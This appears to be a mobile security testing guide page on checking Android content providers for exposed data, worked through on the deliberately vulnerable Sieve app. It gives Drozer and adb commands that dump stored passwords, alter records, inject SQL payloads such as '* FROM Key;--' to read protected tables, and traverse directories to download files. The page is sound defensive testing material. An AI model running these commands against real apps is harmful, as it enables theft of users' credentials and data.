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Last updated: May 08, 2023

Determining Whether Sensitive Stored Data Has Been Exposed via IPC Mechanisms


Static Analysis

The first step is to look at AndroidManifest.xml to detect content providers exposed by the app. You can identify content providers by the <provider> element. Complete the following steps:

  • Determine whether the value of the export tag (android:exported) is "true". Even if it is not, the tag will be set to "true" automatically if an <intent-filter> has been defined for the tag. If the content is meant to be accessed only by the app itself, set android:exported to "false". If not, set the flag to "true" and define proper read/write permissions.
  • Determine whether the data is being protected by a permission tag (android:permission). Permission tags limit exposure to other apps.
  • Determine whether the android:protectionLevel attribute has the value signature. This setting indicates that the data is intended to be accessed only by apps from the same enterprise (i.e., signed with the same key). To make the data accessible to other apps, apply a security policy with the <permission> element and set a proper android:protectionLevel. If you use android:permission, other applications must declare corresponding <uses-permission> elements in their manifests to interact with your content provider. You can use the android:grantUriPermissions attribute to grant more specific access to other apps; you can limit access with the <grant-uri-permission> element.

Inspect the source code to understand how the content provider is meant to be used. Search for the following keywords:

  • android.content.ContentProvider
  • android.database.Cursor
  • android.database.sqlite
  • .query
  • .update
  • .delete

To avoid SQL injection attacks within the app, use parameterized query methods, such as query, update, and delete. Be sure to properly sanitize all method arguments; for example, the selection argument could lead to SQL injection if it is made up of concatenated user input.

If you expose a content provider, determine whether parameterized query methods (query, update, and delete) are being used to prevent SQL injection. If so, make sure all their arguments are properly sanitized.

We will use the vulnerable password manager app Sieve as an example of a vulnerable content provider.

Inspect the Android Manifest

Identify all defined <provider> elements:


As shown in the AndroidManifest.xml above, the application exports two content providers. Note that one path ("/Keys") is protected by read and write permissions.

Inspect the source code

Inspect the query function in the file to determine whether any sensitive information is being leaked:

Example in Java:

public Cursor query(final Uri uri, final String[] array, final String s, final String[] array2, final String s2) {
    final int match = this.sUriMatcher.match(uri);
    final SQLiteQueryBuilder sqLiteQueryBuilder = new SQLiteQueryBuilder();
    if (match >= 100 && match < 200) {
    else if (match >= 200) {
    return sqLiteQueryBuilder.query(this.pwdb.getReadableDatabase(), array, s, array2, (String)null, (String)null, s2);

Example in Kotlin:

fun query(uri: Uri?, array: Array<String?>?, s: String?, array2: Array<String?>?, s2: String?): Cursor {
        val match: Int = this.sUriMatcher.match(uri)
        val sqLiteQueryBuilder = SQLiteQueryBuilder()
        if (match >= 100 && match < 200) {
            sqLiteQueryBuilder.tables = "Passwords"
        } else if (match >= 200) {
            sqLiteQueryBuilder.tables = "Key"
        return sqLiteQueryBuilder.query(this.pwdb.getReadableDatabase(), array, s, array2, null as String?, null as String?, s2)

Here we see that there are actually two paths, "/Keys" and "/Passwords", and the latter is not being protected in the manifest and is therefore vulnerable.

When accessing a URI, the query statement returns all passwords and the path Passwords/. We will address this in the "Dynamic Analysis" section and show the exact URI that is required.

Dynamic Analysis

Testing Content Providers

To dynamically analyze an application's content providers, first enumerate the attack surface: pass the app's package name to the Drozer module

dz> run -a com.mwr.example.sieve
  Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.DBContentProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False
  Path Permissions:
  Path: /Keys
  Read Permission: com.mwr.example.sieve.READ_KEYS
  Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.FileBackupProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False

In this example, two content providers are exported. Both can be accessed without permission, except for the /Keys path in the DBContentProvider. With this information, you can reconstruct part of the content URIs to access the DBContentProvider (the URIs begin with content://).

To identify content provider URIs within the application, use Drozer's scanner.provider.finduris module. This module guesses paths and determines accessible content URIs in several ways:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:

Once you have a list of accessible content providers, try to extract data from each provider with the app.provider.query module:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64 - encoded)
email: [email protected]

You can also use Drozer to insert, update, and delete records from a vulnerable content provider:

  • Insert record
dz> run app.provider.insert content://
                --string date 1331763850325
                --string type 0
                --integer _id 7
  • Update record
dz> run app.provider.update content://settings/secure
                --selection "name=?"
                --selection-args assisted_gps_enabled
                --integer value 0
  • Delete record
dz> run app.provider.delete content://settings/secure
                --selection "name=?"
                --selection-args my_setting

SQL Injection in Content Providers

The Android platform promotes SQLite databases for storing user data. Because these databases are based on SQL, they may be vulnerable to SQL injection. You can use the Drozer module app.provider.query to test for SQL injection by manipulating the projection and selection fields that are passed to the content provider:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

If an application is vulnerable to SQL Injection, it will return a verbose error message. SQL Injection on Android may be used to modify or query data from the vulnerable content provider. In the following example, the Drozer module app.provider.query is used to list all the database tables:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |
| table | Key              | Key              | 5        | CREATE TABLE ... |

SQL Injection may also be used to retrieve data from otherwise protected tables:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password | pin |
| thisismypassword | 9876 |

You can automate these steps with the scanner.provider.injection module, which automatically finds vulnerable content providers within an app:

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
Injection in Selection:

File System Based Content Providers

Content providers can provide access to the underlying filesystem. This allows apps to share files (the Android sandbox normally prevents this). You can use the Drozer modules and to read and download files, respectively, from exported file-based content providers. These content providers are susceptible to directory traversal, which allows otherwise protected files in the target application's sandbox to be read.

dz> run content:// /home/user/database.db
Written 24488 bytes

Use the scanner.provider.traversal module to automate the process of finding content providers that are susceptible to directory traversal:

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:

Note that adb can also be used to query content providers:

$ adb shell content query --uri content://com.owaspomtg.vulnapp.provider.CredentialProvider/credentials
Row: 0 id=1, username=admin, password=StrongPwd
Row: 1 id=2, username=test, password=test